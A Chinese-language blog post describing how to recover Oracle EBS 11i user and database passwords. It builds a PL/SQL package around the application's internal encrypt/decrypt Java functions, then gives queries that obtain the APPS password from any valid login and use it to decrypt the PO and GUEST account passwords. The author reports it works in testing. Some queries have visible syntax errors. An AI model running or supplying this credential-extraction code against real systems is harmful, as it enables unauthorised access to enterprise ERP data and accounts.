跳到主要內容

取得EBS帳號用戶密碼

EBS 11i有個方法可以破解EBS帳號的密碼,網路上已有許多的文章都有提到,今天依據這些方法測試一下,
果然可以順利取得EBS帳號用戶的密碼。

EBS使用的加解密JAVA函數:

    加密函數:第一個參數是「金鑰」;第二個參數是「密碼明文」,傳回加密後字串
    oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String

    解密函數:第一個參數是「金鑰」;第二個參數是「加密後字串」,傳回密碼明文
    oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String

撰寫加解密的Package
    CREATE OR REPLACE package APPS.pk_password_use authid current_user as
        --加密函數
        function encrypt(v_key in Varchar2, value in Varchar2) return Varchar2;
        --解密函數
        function decrypt(v_key in Varchar2, value in Varchar2) return Varchar2;
    end;
    /

    CREATE OR REPLACE package body APPS.pk_password_use as
        function encrypt(key in Varchar2, value in Varchar2) return Varchar2 as
              language java name 'oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String';
        function decrypt(key in Varchar2, value in Varchar2) return Varchar2 as
              language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
    end;
     /

取得APPS的密碼(任一個User/Password都可以取得)。

    --測試的結果的確可以取得APPS的密碼。
     --不用管fnd_user_view取出來的加密字串是什麼,只要USER/Password正確就可以了
    select APPS.pk_password_use.decrypt('GUEST/ORACLE',
        (select encrypted_foundation_password
                from apps.fnd_user_view
                where user_name='GUEST')) pwd
    from dual;


取得DB帳號PO的密碼。

    --前提是要有APPS密碼,假設密碼是APPS123。
    select APPS.pk_password_use.decrypt('APPS',
        (select encrypted_oracle_password
            from fnd_oracle_userid
            where oracle_username = 'PO';)) pwd
    from dual;
   
取得APP帳號GUEST的密碼。

    --前提是要有APPS密碼,假設密碼是APPS123。
    select APPS.pk_password_use.decrypt('APPS',
        (select encrypted_oracle_password
            from fnd_user
            where oracle_username = 'GUEST';)) pwd
    from dual;
      

留言

這個網誌中的熱門文章

Line如何換行

在電腦版的Line輸入文字時,遇到需要換行的情形時,我都是用記事本先寫好再複製上去,這樣就可以有換行的效果,可是這樣的做法好像失去Line的便利性。 於是查了一下,原來有一個設定可以指定Enter換行,而不是發訊息出去。 完成設定之後,要發送訊息就改用Alt+Enter,而Enter就可以換行了。

在Windows下,利用tasklist與taskkill來刪除Process

Windows7 / Windows8 kill process Linux下要刪除某個程序通常會使用 ps 配合 kill 來刪除程序。 例如:ps -ef |grep [PROCESS NAME]       kill -9 [PID] 在Windows下,通常是開啟工作管理員來強制結束應用程式,但是如果要寫成Script,就必須改為命令式。 TASKLIST [/S system [/U username [/P [password]]]]          [/M [module] | /SVC | /V] [/FI filter] [/FO format] [/NH]           TASKKILL [/S system [/U username [/P [password]]]]          { [/FI filter] [/PID processid | /IM imagename] } [/T] [/F]           (Tasklist:查詢Process ; Taskkill:刪除Process)           例如要刪除已開啟的記事本(notepad): 1、查詢記事本的Process訊息     C:\> tasklist |find /i "notepad.exe"     notepad.exe      6092 Console     1     5,832 K 2、由上得知記事本的PID為6092     C:\> taskkill /f /PID 6092     成功:處理程序 PID 6092 已經終止了。     taskkill使用的參數     /f:指定此參數可強制終止處理程序     /PID:指定要終止之處理程序的 PID      3、也可以直接以程式名稱刪除     C:\ taskkill /f /im notepad.exe     成功:處理程序 "notepad.exe" <PID 6092> 已經終止了      下面是我自己測試的Script,可以刪除多個相同的程式,例如同時開啟了三個記事本: @echo off for /f &quo

Win 10 工作排程無法執行bat批次檔

利用Win 10的工作排程器來設定每日自動執行的批次檔,單獨執行批次檔沒問題,但是放在排程上就是無法執行。 後來試了幾種網路上提供的方式,其注意的事項如下: 1、在「安全性選項」選擇「只有使用者登入時才執行」並取消「以最高權限執行」。 2、在「設定」中選擇「Windows 10」 3、批次檔內的執行檔需以完整的路徑執行,或設定PATH路徑。 3、批次檔中如果帶有中文的路徑,則文字編碼類型必需是ANSI碼,       我的批次檔一開始就是UTF-8碼,但是單獨執行沒有問題,排程上就是有問題,       最後在批次檔中加入暫停指令pause才發現的。 4、如果想選擇「不論使用者登入與否均執行」,則在「設定」必須選擇「Windows Server 2003、Windows XP或Windows 2000」,    但是上述的選項只有在新增工作程程時才會出現,原有的工作排程是不會有此選項